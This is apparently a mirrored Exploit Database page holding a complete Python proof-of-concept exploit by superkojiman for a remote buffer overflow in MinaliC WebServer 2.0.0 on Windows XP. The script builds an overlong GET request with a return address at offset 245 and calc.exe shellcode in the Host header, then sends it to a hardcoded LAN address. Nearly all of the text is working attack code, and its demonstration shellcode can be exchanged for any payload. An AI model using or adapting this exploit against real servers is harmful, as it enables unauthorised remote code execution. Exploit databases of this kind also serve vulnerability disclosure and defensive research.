MinaliC WebServer 2.0.0 – Remote Buffer Overflow

• Exploit Database
• 58 阅读

• 作者： superkojiman
  日期： 2013-04-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24958/

• #!/usr/bin/env python
  
  # Exploit Title: MinaliC Webserver buffer overflow
  # Date: 12 Apr 2013
  # Exploit Author: superkojiman - http://www.techorganic.com
  # Vendor Homepage: http://minalic.sourceforge.net/
  # Version: MinaliC Webserver 2.0.0
  # Tested on: Windows XP Pro SP2, English
  #
  # Description: 
  # Remote command execution by triggering a buffer overflow in the GET
  # request. 
  #
  
  import socket
  import struct
  
  # 74 bytes calc.exe from http://code.google.com/p/win-exec-calc-shellcode/
  shellcode = (
  "\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
  "\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
  "\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
  "\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
  "\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
  )
  
  # EIP at offset 245 when minalic.exe is in C:\minalic\bin 
  # EBX points directly to the "Host:" value, so we put our shellcode there. 
  # JMP EBX @ 0x7C955B47, NTDLL.DLL, Windows XP Pro SP2 English
  
  # Exploit-DB Note:
  # ret = struct.pack("<I", 0x77c11f13) # jmp ebx msvcrt.dll Windows XP SP3 English
  
  junk = "\x41" * 245
  ret = struct.pack("<I", 0x7C955B47)
  host = "\x90" * 30 + shellcode + "\x90" * 31
  
  buf = "GET /" + junk + ret + " HTTP/1.1\r\n" + "Host: " + host + "\r\n\r\n"
  
  print "[+] sending buffer size", len(buf)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("192.168.37.132", 8080))
  s.send(buf)